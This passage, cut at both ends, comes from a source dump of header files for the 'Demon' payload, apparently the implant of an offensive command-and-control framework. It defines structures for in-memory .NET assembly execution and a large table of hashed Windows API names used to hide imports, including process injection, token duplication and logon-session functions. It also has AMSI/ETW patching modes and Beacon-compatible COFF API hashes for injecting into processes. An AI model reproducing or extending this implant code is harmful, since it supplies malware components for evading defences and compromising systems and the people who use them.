ICLRRuntimeInfo* This, /* [in] */ HANDLE hndProcess, /* [retval][out] */ BOOL* pbLoaded); HRESULT(STDMETHODCALLTYPE* LoadErrorString)( ICLRRuntimeInfo* This, /* [in] */ UINT iResourceID, /* [size_is][out] */ __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, /* [out][in] */ DWORD* pcchBuffer, /* [lcid][in] */ LONG iLocaleID); HRESULT(STDMETHODCALLTYPE* LoadLibrary)( ICLRRuntimeInfo* This, /* [in] */ LPCWSTR pwzDllName, /* [retval][out] */ HMODULE* phndModule); HRESULT(STDMETHODCALLTYPE* GetProcAddress)( ICLRRuntimeInfo* This, /* [in] */ LPCSTR pszProcName, /* [retval][out] */ LPVOID* ppProc); HRESULT(STDMETHODCALLTYPE* GetInterface)( ICLRRuntimeInfo* This, /* [in] */ REFCLSID rclsid, /* [in] */ REFIID riid, /* [retval][iid_is][out] */ LPVOID* ppUnk); HRESULT(STDMETHODCALLTYPE* IsLoadable)( ICLRRuntimeInfo* This, /* [retval][out] */ BOOL* pbLoadable); HRESULT(STDMETHODCALLTYPE* SetDefaultStartupFlags)( ICLRRuntimeInfo* This, /* [in] */ DWORD dwStartupFlags, /* [in] */ LPCWSTR pwzHostConfigFile); HRESULT(STDMETHODCALLTYPE* GetDefaultStartupFlags)( ICLRRuntimeInfo* This, /* [out] */ DWORD* pdwStartupFlags, /* [size_is][out] */ LPWSTR pwzHostConfigFile, /* [out][in] */ DWORD* pcchHostConfigFile); HRESULT(STDMETHODCALLTYPE* BindAsLegacyV2Runtime)( ICLRRuntimeInfo* This); HRESULT(STDMETHODCALLTYPE* IsStarted)( ICLRRuntimeInfo* This, /* [out] */ BOOL* pbStarted, /* [out] */ DWORD* pdwStartupFlags); END_INTERFACE } ICLRRuntimeInfoVtbl; typedef struct _ICLRRuntimeInfo { ICLRRuntimeInfoVtbl* lpVtbl; } ICLRRuntimeInfo; typedef struct _Type { TypeVtbl* lpVtbl; } Type; typedef struct ICLRMetaHostVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( ICLRMetaHost* This, /* [in] */ REFIID riid, /* [iid_is][out] */ __RPC__deref_out void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( ICLRMetaHost* This); ULONG(STDMETHODCALLTYPE* Release)( ICLRMetaHost* This); HRESULT(STDMETHODCALLTYPE* GetRuntime)( ICLRMetaHost* This, /* [in] */ LPCWSTR pwzVersion, /* [in] */ REFIID riid, /* [retval][iid_is][out] */ LPVOID* ppRuntime); HRESULT(STDMETHODCALLTYPE* GetVersionFromFile)( ICLRMetaHost* This, /* [in] */ LPCWSTR pwzFilePath, /* [size_is][out] */ __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, /* [out][in] */ DWORD* pcchBuffer); HRESULT(STDMETHODCALLTYPE* EnumerateInstalledRuntimes)( ICLRMetaHost* This, /* [retval][out] */ IEnumUnknown** ppEnumerator); HRESULT(STDMETHODCALLTYPE* EnumerateLoadedRuntimes)( ICLRMetaHost* This, /* [in] */ HANDLE hndProcess, /* [retval][out] */ IEnumUnknown** ppEnumerator); HRESULT(STDMETHODCALLTYPE* RequestRuntimeLoadedNotification)( ICLRMetaHost* This, /* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction); HRESULT(STDMETHODCALLTYPE* QueryLegacyV2RuntimeBinding)( ICLRMetaHost* This, /* [in] */ REFIID riid, /* [retval][iid_is][out] */ LPVOID* ppUnk); HRESULT(STDMETHODCALLTYPE* ExitProcess)( ICLRMetaHost* This, /* [in] */ INT32 iExitCode); END_INTERFACE } ICLRMetaHostVtbl; typedef struct _ICLRMetaHost { ICLRMetaHostVtbl* lpVtbl; } ICLRMetaHost; #undef DUMMY_METHOD #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IMethodInfo *This) typedef struct _MethodInfoVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( IMethodInfo* This, /* [in] */ REFIID riid, /* [iid_is][out] */ __RPC__deref_out void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( IMethodInfo* This); ULONG(STDMETHODCALLTYPE* Release)( IMethodInfo* This); DUMMY_METHOD(GetTypeInfoCount); DUMMY_METHOD(GetTypeInfo); DUMMY_METHOD(GetIDsOfNames); DUMMY_METHOD(Invoke); DUMMY_METHOD(ToString); DUMMY_METHOD(Equals); DUMMY_METHOD(GetHashCode); DUMMY_METHOD(GetType); DUMMY_METHOD(MemberType); DUMMY_METHOD(name); DUMMY_METHOD(DeclaringType); DUMMY_METHOD(ReflectedType); DUMMY_METHOD(GetCustomAttributes); DUMMY_METHOD(GetCustomAttributes_2); DUMMY_METHOD(IsDefined); HRESULT(STDMETHODCALLTYPE* GetParameters)( IMethodInfo* This, SAFEARRAY** pRetVal); DUMMY_METHOD(GetMethodImplementationFlags); DUMMY_METHOD(MethodHandle); DUMMY_METHOD(Attributes); DUMMY_METHOD(CallingConvention); DUMMY_METHOD(Invoke_2); DUMMY_METHOD(IsPublic); DUMMY_METHOD(IsPrivate); DUMMY_METHOD(IsFamily); DUMMY_METHOD(IsAssembly); DUMMY_METHOD(IsFamilyAndAssembly); DUMMY_METHOD(IsFamilyOrAssembly); DUMMY_METHOD(IsStatic); DUMMY_METHOD(IsFinal); DUMMY_METHOD(IsVirtual); DUMMY_METHOD(IsHideBySig); DUMMY_METHOD(IsAbstract); DUMMY_METHOD(IsSpecialName); DUMMY_METHOD(IsConstructor); HRESULT(STDMETHODCALLTYPE* Invoke_3)( IMethodInfo* This, VARIANT obj, SAFEARRAY* parameters, VARIANT* ret); DUMMY_METHOD(returnType); DUMMY_METHOD(ReturnTypeCustomAttributes); DUMMY_METHOD(GetBaseDefinition); END_INTERFACE } MethodInfoVtbl; typedef struct _MethodInfo { MethodInfoVtbl* lpVtbl; } MethodInfo, *PMethodInfo; typedef struct _DOTNET_ARGS { /* The random task id associated with the requested DOTNET exec */ UINT32 RequestID; /* Buffers */ BUFFER PipeName; BUFFER AppDomainName; BUFFER NetVersion; BUFFER Output; /* Handles */ HANDLE Pipe; HANDLE File; HANDLE StdOut; HANDLE Thread; HANDLE Event; HANDLE Exit; /* Argument Array */ UNICODE_STRING ArgumentArray; /* Some Assembly Variables. */ SAFEARRAY* SafeArray; SAFEARRAY* MethodArgs; /* Clr variables */ PICLRMetaHost MetaHost; PICLRRuntimeInfo ClrRuntimeInfo; PICorRuntimeHost ICorRuntimeHost; PAssembly Assembly; PIUnknown AppDomainThunk; PAppDomain AppDomain; PMethodInfo MethodInfo; /* Variants */ VARIANT vtPsa; VARIANT Return; /* Successful invoked ? */ BOOL Invoked; /* Contexts */ PCONTEXT RopInit; PCONTEXT RopInvk; PCONTEXT RopEvnt; PCONTEXT RopExit; } DOTNET_ARGS, *PDOTNET_ARGS; #define DEMOn_CLR_ERROR_REFUSE_VERSION 0x1 DWORD ClrCreateInstance( LPCWSTR dotNetVersion, PICLRMetaHost* ppClrMetaHost, PICLRRuntimeInfo* ppClrRuntimeInfo, ICorRuntimeHost** ppICorRuntimeHost ); BOOL FindVersion( PVOID Assembly, DWORD length ); #endif ================================================ FILE: payloads/Demon/include/common/Defines.h ================================================ #ifndef DEMON_STRINGS_H #define DEMON_STRINGS_H #define PROCESS_ARCH_UNKNOWN 0 #define PROCESS_ARCH_X86 1 #define PROCESS_ARCH_X64 2 #define PROCESS_ARCH_IA64 3 #ifdef _WIN64 #define PROCESS_AGENT_ARCH PROCESS_ARCH_X64 #else #define PROCESS_AGENT_ARCH PROCESS_ARCH_X86 #endif #define DEMON_MAGIC_VALUE 0xDEADBEEF #define WIN_VERSION_UNKNOWN 0 #define WIN_VERSION_XP 1 #define WIN_VERSION_VISTA 2 #define WIN_VERSION_2008 3 #define WIN_VERSION_7 4 #define WIN_VERSION_2008_R2 5 #define WIN_VERSION_2008_R2 6 #define WIN_VERSION_2012 7 #define WIN_VERSION_8 8 #define WIN_VERSION_8_1 8.1 #define WIN_VERSION_2012_R2 9 #define WIN_VERSION_10 10 #define WIN_VERSION_2016_X 11 #define LDR_GADGET_MODULE_SIZE ( 0x1000 * 0x1000 ) #define LDR_GADGET_HEADER_SIZE ( 0x1000 ) #define PROXYLOAD_NONE 0 #define PROXYLOAD_RTLREGISTERWAIT 1 #define PROXYLOAD_RTLCREATETIMER 2 #define PROXYLOAD_RTLQUEUEWORKITEM 3 #define AMSIETW_PATCH_NONE 0 #define AMSIETW_PATCH_HWBP 1 #define AMSIETW_PATCH_MEMORY 2 /* Win32 Functions */ #define H_FUNC_LDRLOADDLL 0x9e456a43 #define H_FUNC_LDRGETPROCEDUREADDRESS 0xfce76bb6 #define H_FUNC_NTADDBOOTENTRY 0x8cfcc776 #define H_FUNC_NTALLOCATEVIRTUALMEMORY 0xf783b8ec #define H_FUNC_NTFREEVIRTUALMEMORY 0x2802c609 #define H_FUNC_NTUNMAPVIEWOFSECTION 0x6aa412cd #define H_FUNC_NTWRITEVIRTUALMEMORY 0xc3170192 #define H_FUNC_NTSETINFORMATIONVIRTUALMEMORY 0x946ac239 #define H_FUNC_NTQUERYVIRTUALMEMORY 0x10c0e85d #define H_FUNC_NTOPENPROCESSTOKEN 0x350dca99 #define H_FUNC_NTOPENTHREADTOKEN 0x803347d2 #define H_FUNC_NTQUERYOBJECT 0xc85dc9b4 #define H_FUNC_NTTRACEEVENT 0x70c25cd8 #define H_FUNC_NTOPENPROCESS 0x4b82f718 #define H_FUNC_NTTERMINATEPROCESS 0x4ed9dd4f #define H_FUNC_NTOPENTHREAD 0x968e0cb1 #define H_FUNC_NTOPENTHREADTOKEN 0x803347d2 #define H_FUNC_NTSETCONTEXTTHREAD 0xffa0bf10 #define H_FUNC_NTGETCONTEXTTHREAD 0x6d22f884 #define H_FUNC_NTCLOSE 0x40d6e69d #define H_FUNC_NTCONTINUE 0xfc3a6c2c #define H_FUNC_NTSETEVENT 0xcb87d8b5 #define H_FUNC_NTCREATEEVENT 0x28d3233d #define H_FUNC_NTWAITFORSINGLEOBJECT 0xe8ac0c3c #define H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT 0x78983aed #define H_FUNC_NTGETNEXTTHREAD 0xa410fb9e #define H_FUNC_NTRESUMETHREAD 0x5a4bc3d0 #define H_FUNC_NTSUSPENDTHREAD 0xe43d93e1 #define H_FUNC_NTDUPLICATEOBJECT 0x4441d859 #define H_FUNC_NTQUERYINFORMATIONTHREAD 0xf5a0461b #define H_FUNC_NTCREATETHREADEX 0xaf18cfb0 #define H_FUNC_NTQUEUEAPCTHREAD 0xa6664b8 #define H_FUNC_NTQUERYSYSTEMINFORMATION 0x7bc23928 #define H_FUNC_NTQUERYINFORMATIONTOKEN 0xf371fe4 #define H_FUNC_NTQUERYINFORMATIONPROCESS 0x8cdc5dc2 #define H_FUNC_NTSETINFORMATIONTHREAD 0xc3c03f1 #define H_FUNC_NTSETINFORMATIONVIRTUALMEMORY 0x946ac239 #define H_FUNC_NTPROTECTVIRTUALMEMORY 0x50e92888 #define H_FUNC_NTREADVIRTUALMEMORY 0xa3288103 #define H_FUNC_NTFREEVIRTUALMEMORY 0x2802c609 #define H_FUNC_NTTERMINATETHREAD 0xccf58808 #define H_FUNC_NTWRITEVIRTUALMEMORY 0xc3170192 #define H_FUNC_NTDUPLICATETOKEN 0x8e160b23 #define H_FUNC_NTALERTRESUMETHREAD 0x5ba11e28 #define H_FUNC_NTTESTALERT 0x858a32df #define H_FUNC_RTLALLOCATEHEAP 0x3be94c5a #define H_FUNC_RTLREALLOCATEHEAP 0xaf740371 #define H_FUNC_RTLFREEHEAP 0x73a9e4d7 #define H_FUNC_RTLEXITUSERPROCESS 0x57c72f #define H_FUNC_RTLRANDOMEX 0x7f1224f5 #define H_FUNC_RTLRANDOMEX 0x7f1224f5 #define H_FUNC_RTLNTSTATUSTODOSERROR 0x39d7c890 #define H_FUNC_RTLGETVERSION 0xdde5cdd #define H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER 0x2df06c89 #define H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER 0xad1b018e #define H_FUNC_RTLCREATETIMERQUEUE 0x50ef3c31 #define H_FUNC_RTLDELETETIMERQUEUE 0xeec188b0 #define H_FUNC_RTLCREATETIMER 0x1877faec #define H_FUNC_RTLQUEUEWORKITEM 0xae92028e #define H_FUNC_RTLREGISTERWAIT 0x600fe691 #define H_FUNC_RTLCAPTURECONTEXT 0xeba8d910 #define H_FUNC_RTLCOPYMAPPEDMEMORY 0x5b56b302 #define H_FUNC_RTLFILLMEMORY 0x89ab5f57 #define H_FUNC_RTLEXITUSERTHREAD 0x2f6db5e8 #define H_FUNC_RTLSUBAUTHORITYSID 0x90ed208a #define H_FUNC_RTLSUBAUTHORITYCOUNTSID 0x4b23c9d3 #define H_FUNC_LOADLIBRARYW 0xb7072ff1 #define H_FUNC_GETCOMPUTERNAMEEXA 0xec725c53 #define H_FUNC_WAITFORSINGLEOBJECTEX 0x512e1b97 #define H_FUNC_VIRTUALPROTECT 0xe857500d #define H_FUNC_GETMODULEHANDLEA 0xd908e1d8 #define H_FUNC_GETPROCADDRESS 0xdecfc1bf #define H_FUNC_GETCURRENTDIRECTORYW 0x3d54a9f4 #define H_FUNC_FINDFIRSTFILEW 0xf67b31a5 #define H_FUNC_FINDNEXTFILEW 0x3626633c #define H_FUNC_FINDCLOSE 0x42ade43c #define H_FUNC_FILETIMETOSYSTEMTIME 0x7a047cab #define H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME 0x77b0aa6a #define H_FUNC_OUTPUTDEBUGSTRINGA 0x490fc1d5 #define H_FUNC_DEBUGBREAK 0xd08caa91 #define H_FUNC_SYSTEMFUNCTION032 0xe58c8805 #define H_FUNC_LOOKUPACCOUNTSIDW 0xd51fdfa3 #define H_FUNC_LOGONUSEREXW 0x6ba383b7 #define H_FUNC_VSNPRINTF 0xe212f2ef #define H_FUNC_GETADAPTERSINFO 0x37cada45 #define H_FUNC_WINHTTPOPEN 0x613eace5 #define H_FUNC_WINHTTPCONNECT 0x81e0c81d #define H_FUNC_WINHTTPOPENREQUEST 0xb06d900e #define H_FUNC_WINHTTPSETOPTION 0x5b6ad378 #define H_FUNC_WINHTTPSENDREQUEST 0x7739d0e6 #define H_FUNC_WINHTTPRECEIVERESPONSE 0xae351ae5 #define H_FUNC_WINHTTPADDREQUESTHEADERS 0xa2c0b0e1 #define H_FUNC_WINHTTPREADDATA 0x75064b89 #define H_FUNC_WINHTTPQUERYHEADERS 0xcc1a89c5 #define H_FUNC_WINHTTPCLOSEHANDLE 0xa7355f15 #define H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER 0x28197a2 #define H_FUNC_WINHTTPGETPROXYFORURL 0xa2cf3c6f #define H_FUNC_VIRTUALPROTECTEX 0x5b6b908a #define H_FUNC_LOCALALLOC 0x72073b5b #define H_FUNC_LOCALREALLOC 0x1c44e892 #define H_FUNC_LOCALFREE 0x32030e92 #define H_FUNC_CREATEREMOTETHREAD 0x252b157d #define H_FUNC_CREATETOOLHELP32SNAPSHOT 0xf37ac035 #define H_FUNC_PROCESS32FIRSTW 0xb06fa1a8 #define H_FUNC_PROCESS32NEXTW 0x43f6e75f #define H_FUNC_CREATEPIPE 0x9694e9e7 #define H_FUNC_CREATEPROCESSW 0xfbaf90cf #define H_FUNC_CREATEFILEW 0x687d2110 #define H_FUNC_GETFULLPATHNAMEW 0xa6a2249d #define H_FUNC_GETFILESIZE 0x7b813820 #define H_FUNC_GETFILESIZEEX 0x60afc95d #define H_FUNC_CREATENAMEDPIPEW 0xa05e2a83 #define H_FUNC_CONVERTFIBERTOTHREAD 0x11b30049 #define H_FUNC_CREATEFIBEREX 0x7b94a3fe #define H_FUNC_READFILE 0x84d15061 #define H_FUNC_VIRTUALALLOCEX 0x5775bd54 #define H_FUNC_WAITFORSINGLEOBJECTEX 0x512e1b97 #define H_FUNC_GETCOMPUTERNAMEEXA 0xec725c53 #define H_FUNC_EXITPROCESS 0xd154167e #define H_FUNC_GETEXITCODEPROCESS 0xa7c5fd39 #define H_FUNC_GETEXITCODETHREAD 0x538852b2 #define H_FUNC_CONVERTTHREADTOFIBEREX 0xd139cc66 #define H_FUNC_SWITCHTOFIBER 0x14fc3cc2 #define H_FUNC_DELETEFIBER 0x99beb7a0 #define H_FUNC_ALLOCCONSOLE 0x3c2fba83 #define H_FUNC_FREECONSOLE 0xa4e66f3a #define H_FUNC_GETCONSOLEWINDOW 0xc2c4270 #define H_FUNC_GETSTDHANDLE 0x9ab85b1c #define H_FUNC_SETSTDHANDLE 0xe620bba8 #define H_FUNC_WAITNAMEDPIPEW 0x50ac3c84 #define H_FUNC_PEEKNAMEDPIPE 0xd5312e5d #define H_FUNC_DISCONNECTNAMEDPIPE 0x342bd542 #define H_FUNC_WRITEFILE 0xf1d207d0 #define H_FUNC_CONNECTNAMEDPIPE 0x436e4c62 #define H_FUNC_FREELIBRARY 0x4ad9b11c #define H_FUNC_GETCURRENTDIRECTORYW 0x3d54a9f4 #define H_FUNC_GETFILEATTRIBUTESW 0xf30aab23 #define H_FUNC_FINDFIRSTFILEW 0xf67b31a5 #define H_FUNC_FINDNEXTFILEW 0x3626633c #define H_FUNC_FINDCLOSE 0x42ade43c #define H_FUNC_FILETIMETOSYSTEMTIME 0x7a047cab #define H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME 0x77b0aa6a #define H_FUNC_REMOVEDIRECTORYW 0xb6af709f #define H_FUNC_DELETEFILEW 0x99bee22f #define H_FUNC_CREATEDIRECTORYW 0xb717be65 #define H_FUNC_COPYFILEW 0x39e8f317 #define H_FUNC_MOVEFILEEXW 0xd356ecf0 #define H_FUNC_SETCURRENTDIRECTORYW 0xcf2ad680 #define H_FUNC_WOW64DISABLEWOW64FSREDIRECTION 0x40750b38 #define H_FUNC_WOW64REVERTWOW64FSREDIRECTION 0xc993b9c #define H_FUNC_GETMODULEHANDLEA 0xd908e1d8 #define H_FUNC_GETSYSTEMTIMEASFILETIME 0x7a14b61c #define H_FUNC_GETLOCALTIME 0x71842fbf #define H_FUNC_DUPLICATEHANDLE 0x95f45a6c #define H_FUNC_ATTACHCONSOLE 0x3f9eed0d #define H_FUNC_WRITECONSOLEA 0x271da464 #define H_FUNC_TERMINATEPROCESS 0xf3c179ad #define H_FUNC_VIRTUALPROTECT 0xe857500d #define H_FUNC_GETTOKENINFORMATION 0x10357d2c #define H_FUNC_CREATEPROCESSWITHTOKENW 0xf3e5480c #define H_FUNC_CREATEPROCESSWITHLOGONW 0xe139fc0a #define H_FUNC_REVERTTOSELF 0x7292758a #define H_FUNC_GETUSERNAMEA 0xfca17e46 #define H_FUNC_LOGONUSERW 0x5ed5d61a #define H_FUNC_LOOKUPACCOUNTSIDA 0xd51fdf8d #define H_FUNC_LOOKUPACCOUNTSIDW 0xd51fdfa3 #define H_FUNC_OPENTHREADTOKEN 0xe249d070 #define H_FUNC_OPENPROCESSTOKEN 0xd9f566f7 #define H_FUNC_ADJUSTTOKENPRIVILEGES 0x677fbb8b #define H_FUNC_LOOKUPPRIVILEGENAMEA 0x843a85e8 #define H_FUNC_SYSTEMFUNCTION032 0xe58c8805 #define H_FUNC_FREESID 0xd47b1967 #define H_FUNC_SETSECURITYDESCRIPTORSACL 0x5c0cc90b #define H_FUNC_SETSECURITYDESCRIPTORDACL 0x5c048f5c #define H_FUNC_INITIALIZESECURITYDESCRIPTOR 0x31e175ce #define H_FUNC_ADDMANDATORYACE 0x9fb18806 #define H_FUNC_INITIALIZEACL 0x136c4367 #define H_FUNC_ALLOCATEANDINITIALIZESID 0xa9174a4f #define H_FUNC_CHECKTOKENMEMBERSHIP 0x1cf324d0 #define H_FUNC_SETENTRIESINACLW 0xd396389 #define H_FUNC_SETTHREADTOKEN 0xc9f4966a #define H_FUNC_LSANTSTATUSTOWINERROR 0x9d5beb66 #define H_FUNC_EQUALSID 0x4fa8b17d #define H_FUNC_CONVERTSIDTOSTRINGSIDW 0x2fb2f7d7 #define H_FUNC_GETSIDSUBAUTHORITYCOUNT 0xd4c0dda1 #define H_FUNC_GETSIDSUBAUTHORITY 0xe5d12f8 #define H_FUNC_LOOKUPPRIVILEGEVALUEA 0x1e344064 #define H_FUNC_SAFEARRAYACCESSDATA 0xf6a0d34f #define H_FUNC_SAFEARRAYUNACCESSDATA 0xe981b312 #define H_FUNC_SAFEARRAYCREATE 0x53ec8017 #define H_FUNC_SAFEARRAYPUTELEMENT 0x311f586 #define H_FUNC_SAFEARRAYCREATEVECTOR 0x6b6a636a #define H_FUNC_SAFEARRAYDESTROY 0x12b6aed #define H_FUNC_SYSALLOCSTRING 0x3351eb46 #define H_FUNC_COMMANDLINETOARGVW 0xec6ba0d6 #define H_FUNC_SHOWWINDOW 0x29bbc91e #define H_FUNC_GETSYSTEMMETRICS 0x287c6401 #define H_FUNC_GETDC 0xd2b106c #define H_FUNC_RELEASEDC 0x6fbc050d #define H_FUNC_GETCURRENTOBJECT 0xfe6f663f #define H_FUNC_GETOBJECTW 0xa04fbb33 #define H_FUNC_CREATECOMPATIBLEDC 0xd0b24920 #define H_FUNC_CREATEDIBSECTION 0x2c2309dd #define H_FUNC_SELECTOBJECT 0x96a6b43c #define H_FUNC_BITBLT 0xa72badc6 #define H_FUNC_DELETEOBJECT 0xe619cf2f #define H_FUNC_DELETEDC 0xb2fa1ebf #define H_FUNC_SETPROCESSVALIDCALLTARGETS 0x647d9236 #define H_FUNC_CLRCREATEINSTANCE 0x2303b88f #define H_FUNC_GETADAPTERSINFO 0x37cada45 #define H_FUNC_NETLOCALGROUPENUM 0x910ca519 #define H_FUNC_NETGROUPENUM 0x11254b4e #define H_FUNC_NETUSERENUM 0xeb3b8f20 #define H_FUNC_NETWKSTAUSERENUM 0x6bec8d0a #define H_FUNC_NETSESSIONENUM 0xf155c7e5 #define H_FUNC_NETSHAREENUM 0xef26c94 #define H_FUNC_NETAPIBUFFERFREE 0x694e2662 #define H_FUNC_WSASTARTUP 0x142e89c3 #define H_FUNC_WSACLEANUP 0x32206eb8 #define H_FUNC_WSASOCKETA 0x8a4d8fa #define H_FUNC_WSAGETLASTERROR 0x9c1d912e #define H_FUNC_IOCTLSOCKET 0xd5e978a9 #define H_FUNC_BIND 0x7c828162 #define H_FUNC_LISTEN 0xbe7f0354 #define H_FUNC_ACCEPT 0xa460acf5 #define H_FUNC_CLOSESOCKET 0x185953a4 #define H_FUNC_RECV 0x7c8b3515 #define H_FUNC_SEND 0x7c8bc2cf #define H_FUNC_CONNECT 0xe73478ef #define H_FUNC_GETADDRINFO 0x4b91706c #define H_FUNC_FREEADDRINFO 0x307204e #define H_FUNC_LSAREGISTERLOGONPROCESS 0xd8f30a28 #define H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE 0x876cc00b #define H_FUNC_LSADEREGISTERLOGONPROCESS 0x8aba5ef1 #define H_FUNC_LSACONNECTUNTRUSTED 0x1da98b7d #define H_FUNC_LSAFREERETURNBUFFER 0x916b1321 #define H_FUNC_LSACALLAUTHENTICATIONPACKAGE 0x6d1a042d #define H_FUNC_LSAGETLOGONSESSIONDATA 0x1c698f42 #define H_FUNC_LSAENUMERATELOGONSESSIONS 0xbca01141 #define H_FUNC_SLEEP 0xe07cd7e #define H_FUNC_CREATETHREAD 0x98baab11 #define H_FUNC_AMSISCANBUFFER 0xbab3d02e #define H_FUNC_GLOBALFREE 0x47886698 #define H_FUNC_SWPRINTF_S 0x481aa3d4 // Beacon API #define H_COFFAPI_BEACONDATAPARSER 0xe2494ba2 #define H_COFFAPI_BEACONDATAINT 0xaf1afdd2 #define H_COFFAPI_BEACONDATASHORT 0xe2835ef7 #define H_COFFAPI_BEACONDATALENGTH 0x22641d29 #define H_COFFAPI_BEACONDATAEXTRACT 0x80d46722 #define H_COFFAPI_BEACONFORMATALLOC 0x4caae0e1 #define H_COFFAPI_BEACONFORMATRESET 0x4ddac759 #define H_COFFAPI_BEACONFORMATFREE 0x7e749f38 #define H_COFFAPI_BEACONFORMATAPPEND 0xe25167ce #define H_COFFAPI_BEACONFORMATPRINTF 0x056f4aa9 #define H_COFFAPI_BEACONFORMATTOSTRING 0xb59f4df0 #define H_COFFAPI_BEACONFORMATINT 0x3a229cc1 #define H_COFFAPI_BEACONPRINTF 0x700d8660 #define H_COFFAPI_BEACONOUTPUT 0x6df4b81e #define H_COFFAPI_BEACONUSETOKEN 0x889e48bb #define H_COFFAPI_BEACONREVERTTOKEN 0xf2744ba6 #define H_COFFAPI_BEACONISADMIN 0x566264d2 #define H_COFFAPI_BEACONGETSPAWNTO 0x1e7c9fb9 #define H_COFFAPI_BEACONSPAWNTEMPORARYPROCESS 0xd6c57438 #define H_COFFAPI_BEACONINJECTPROCESS 0x0ea75b09 #define H_COFFAPI_BEACONINJECTTEMPORARYPROCESS 0x9e22498c #define H_COFFAPI_BEACONCLEANUPPROCESS 0xcee62b74 #define H_COFFAPI_BEACONINFORMATION 0x49f62013 #define H_COFFAPI_BEACONADDVALUE 0x8e977933 #define H_COFFAPI_BEACONGETVALUE 0x8a6f3d4a #define H_COFFAPI_BEACONREMOVEVALUE 0x25aebef8 #define H_COFFAPI_BEACONDATASTOREGETITEM 0x66ac0703 #define H_COFFAPI_BEACONDATASTOREPROTECTITEM 0x224ee8c4 #define H_COFFAPI_BEACONDATASTOREUNPROTECTITEM 0x2f2a6567 #define H_COFFAPI_BEACONDATASTOREMAXENTRIES 0xb1855534 #define H_COFFAPI_BEACONGETCUSTOMUSERDATA 0xc15ec8e1 #define H_COFFAPI_TOWIDECHAR 0x59fcf3cf #define H_COFFAPI_LOADLIBRARYA 0x5fbff0fb #define H_COFFAPI_GETPROCADDRESS 0xcf31bb1f #define H_COFFAPI_GETMODULEHANDLE 0x5a153f58 #define H_COFFAPI_FREELIBRARY 0x30eece3c #define H_COFFAPI_LOCALFREE 0xa66df372 #define H_COFFAPI_NTOPENTHREAD 0xfb8a31d1 #define H_COFFAPI_NTOPENPROCESS 0x5003c058 #define H_COFFAPI_NTTERMINATEPROCESS 0x1703ab2f #define H_COFFAPI_NTOPENTHREADTOKEN 0xfc45b972 #define H_COFFAPI_NTOPENPROCESSTOKEN 0x7bd07459 #define H_COFFAPI_NTDUPLICATETOKEN 0x3000ecc3 #define H_COFFAPI_NTQUEUEAPCTHREAD 0xd4612238 #define H_COFFAPI_NTSUSPENDTHREAD 0x50febd61 #define H_COFFAPI_NTRESUMETHREAD 0x2c7b3d30 #define H_COFFAPI_NTCREATEEVENT 0xca58747d #define H_COFFAPI_NTCREATETHREADEX 0xcb0c2130 #define H_COFFAPI_NTDUPLICATEOBJECT 0x2388ee19 #define H_COFFAPI_NTGETCONTEXTTHREAD 0x9e0e1a44 #define H_COFFAPI_NTSETCONTEXTTHREAD 0x308be0d0 #define H_COFFAPI_NTQUERYINFORMATIONPROCESS 0xd034fc62 #define H_COFFAPI_NTQUERYSYSTEMINFORMATION 0xee4f73a8 #define H_COFFAPI_NTWAITFORSINGLEOBJECT 0x4c6dc63c #define H_COFFAPI_NTALLOCATEVIRTUALMEMORY 0x6793c34c #define H_COFFAPI_NTWRITEVIRTUALMEMORY 0x95f3a792 #define H_COFFAPI_NTFREEVIRTUALMEMORY 0x471aa7e9 #define H_COFFAPI_NTUNMAPVIEWOFSECTION 0x595014ad #define H_COFFAPI_NTPROTECTVIRTUALMEMORY 0x082962c8 #define H_COFFAPI_NTREADVIRTUALMEMORY 0xc24062e3 #define H_COFFAPI_NTTERMINATETHREAD 0xac3c9dc8 #define H_COFFAPI_NTALERTRESUMETHREAD 0x482e8408 #define H_COFFAPI_NTSIGNALANDWAITFORSINGLEOBJECT 0x7bdd15cd #define H_COFFAPI_NTQUERYVIRTUALMEMORY 0xe39d8e5d #define H_COFFAPI_NTQUERYINFORMATIONTOKEN 0x2ce5a244 #define H_COFFAPI_NTQUERYINFORMATIONTHREAD 0xc91f149b #define H_COFFAPI_NTQUERYOBJECT 0x218116f4 #define H_COFFAPI_NTCLOSE 0x8b8e133d #define H_COFFAPI_NTSETINFORMATIONTHREAD 0x54212e31 #define H_COFFAPI_NTSETINFORMATIONVIRTUALMEMORY 0xe7aea539 #define H_COFFAPI_NTGETNEXTTHREAD 0x8f8000fe #define H_MODULE_KERNEL32 0xadd31df0 #define H_MODULE_NTDLL 0x70e61753 #endif ================================================ FILE: payloads/Demon/include/common/Macros.h ================================================ #ifndef DEMON_MACROS_H #define DEMON_MACROS_H #include #ifdef _WIN64 #define PPEB_PTR __readgsqword( 0x60 ) #else #define PPEB_PTR __readfsdword( 0x30 ) #endif #define NT_SUCCESS(Status) ( ( ( NTSTATUS ) ( Status ) ) >= 0 ) #define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) - 1 ) #define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) - 2 ) #define NtGetLastError() Instance->Teb->LastErrorValue #define NtSetLastError(x) Instance->Teb->LastErrorValue = x /* Heap allocation functions */ #define NtProcessHeap() Instance->Teb->ProcessEnvironmentBlock->ProcessHeap #define DLLEXPORT __declspec( dllexport ) #define RVA( TYPE, DLLBASE, RVA ) ( TYPE ) ( ( PBYTE ) DLLBASE + RVA ) #define DATA_FREE( d, l ) \ if ( d ) { \ MemSet( d, 0, l ); \ Instance->Win32.LocalFree( d ); \ d = NULL; \ } #define SEC_DATA __attribute__( ( section( ".data" ) ) ) #define U_PTR( x ) ( ( UINT_PTR ) x ) #define C_PTR( x ) ( ( LPVOID ) x ) #define B_PTR( x ) ( ( PBYTE ) ( x ) ) #define DREF_U8( x ) ( ( BYTE ) *( PBYTE* )( x ) ) #define DREF_U16( x 